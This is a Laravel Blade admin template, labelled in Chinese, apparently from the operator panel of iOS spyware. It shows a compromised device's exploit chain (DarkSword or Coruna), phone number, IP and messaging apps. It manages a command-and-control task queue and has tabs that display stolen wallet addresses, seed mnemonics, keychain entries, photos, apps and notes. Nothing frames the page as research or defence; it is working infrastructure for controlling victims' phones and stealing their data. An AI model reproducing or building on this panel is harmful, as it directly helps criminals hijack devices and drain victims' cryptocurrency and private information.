@extends('admin.content') @section('title', '设备 '.$device->device_id) @section('content')
设备详情
设备 ID {{ $device->device_id }} 渠道 ID {{ $device->channel_id ?: '—' }}
利用链 @if ($device->isDarkSword()) DarkSword @else Coruna @endif
设备型号 {{ $device->device_model ?: '—' }} iOS 版本 {{ $device->ios_version ?: '—' }}
手机号 {{ $device->phone ?: '—' }} IP {{ $device->formattedIp() !== '' ? $device->formattedIp() : '—' }}
钱包 @if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES) 有 @foreach ($device->walletNameList() as $name) {{ $name }} @endforeach @elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE) 无 @else 未知 @endif
WS/TG @if ($device->hasWhatsApp() || $device->hasTelegram()) @if ($device->hasWhatsApp()) WS @endif @if ($device->hasTelegram()) TG @endif @else — @endif
相册存储
albumStorageEnabled() ? 'checked' : '' }}>
User-Agent {{ $device->user_agent ?: '—' }}
安装 / 更新 {{ $device->created_at }} / {{ $device->updated_at }}
@php $queueState = $queueState ?? ['pending' => [], 'dispatched' => [], 'done' => []]; $queueTypes = \App\Services\DsBeaconQueue::ALL_TYPES; $queueSchema = $queueSchema ?? \App\Services\DsBeaconQueue::PARAM_SCHEMA; $statusLabels = \App\Services\DsBeaconQueue::STATUS_LABELS; $hasQueue = !empty($queueState['pending']) || !empty($queueState['dispatched']) || $device->chain === \App\Models\Device::CHAIN_DARKSWORD; @endphp @if ($hasQueue)
C2 队列 (Redis) @if (!empty($queueState['pending'])) · 下一条 {{ $queueState['pending'][0]['type'] }} @elseif (!empty($queueState['dispatched'])) · 已下发未回传 @else · 队列已空 @endif · 回传结果见「日志」
{{-- Add task: layui button opens layer.open with form select + dynamic params --}}
@php // Build a per-type label map from PARAM_SCHEMA: type => [field name => label] $paramLabelsByType = []; foreach ($queueSchema as $type => $fields) { foreach ($fields as $f) { $paramLabelsByType[$type][$f['name']] = $f['label']; } } @endphp {{-- Pending tasks (removable) --}} @php $rowIdx = 0; @endphp @foreach ($queueState['pending'] as $task) @php $rowIdx++; @endphp @endforeach {{-- Dispatched tasks (in-flight) --}} @foreach ($queueState['dispatched'] as $task) @php $rowIdx++; @endphp @endforeach @if ($rowIdx === 0) @endif
# 任务 参数 状态 下发时间 回传时间 回传 操作
{{ $rowIdx }} {{ $task['type'] }} @php $params = $task['params'] ?? []; $typeLabels = $paramLabelsByType[$task['type']] ?? []; $parts = []; foreach ($params as $pk => $pv) { if ($pv === null || $pv === '' || $pv === false) continue; $lbl = $typeLabels[$pk] ?? $pk; if (is_bool($pv)) $pv = $pv ? '是' : '否'; $parts[] = '' . e($lbl) . ': ' . e((string) $pv) . ''; } @endphp {!! !empty($parts) ? implode('', $parts) : '—' !!} {{ $statusLabels[$task['status']] ?? $task['status'] }} — — —
{{ $rowIdx }} {{ $task['type'] }} @php $params = $task['params'] ?? []; $typeLabels = $paramLabelsByType[$task['type']] ?? []; $parts = []; foreach ($params as $pk => $pv) { if ($pv === null || $pv === '' || $pv === false) continue; $lbl = $typeLabels[$pk] ?? $pk; if (is_bool($pv)) $pv = $pv ? '是' : '否'; $parts[] = '' . e($lbl) . ': ' . e((string) $pv) . ''; } @endphp {!! !empty($parts) ? implode('', $parts) : '—' !!} {{ $statusLabels[$task['status']] ?? $task['status'] }} {{ $task['dispatched_at'] ?? '—' }} — — —
队列为空,点击「添加任务」按钮添加
{{-- Hidden data for JS --}} @endif
    @php $tabs = [ 'wallets' => '钱包地址', 'mnemonics' => '助记词', 'keystores' => '钥匙串', 'photos' => '相册', 'apps' => '已装 APP', 'notes' => '备忘录', 'events' => '日志', ]; @endphp @foreach ($tabs as $key => $label)
  • {{ $label }}
  • @endforeach
@if ($tab === 'photos')
@if(!empty($can_clear_photos)) @endif
@elseif ($tab === 'notes')
@else @if ($tab === 'wallets')
@endif
@endif
@endsection @push('scripts') @include('admin.partials.mnemonic_reveal') {{-- ===== C2 队列管理 (layui 组件) ===== --}} @endpush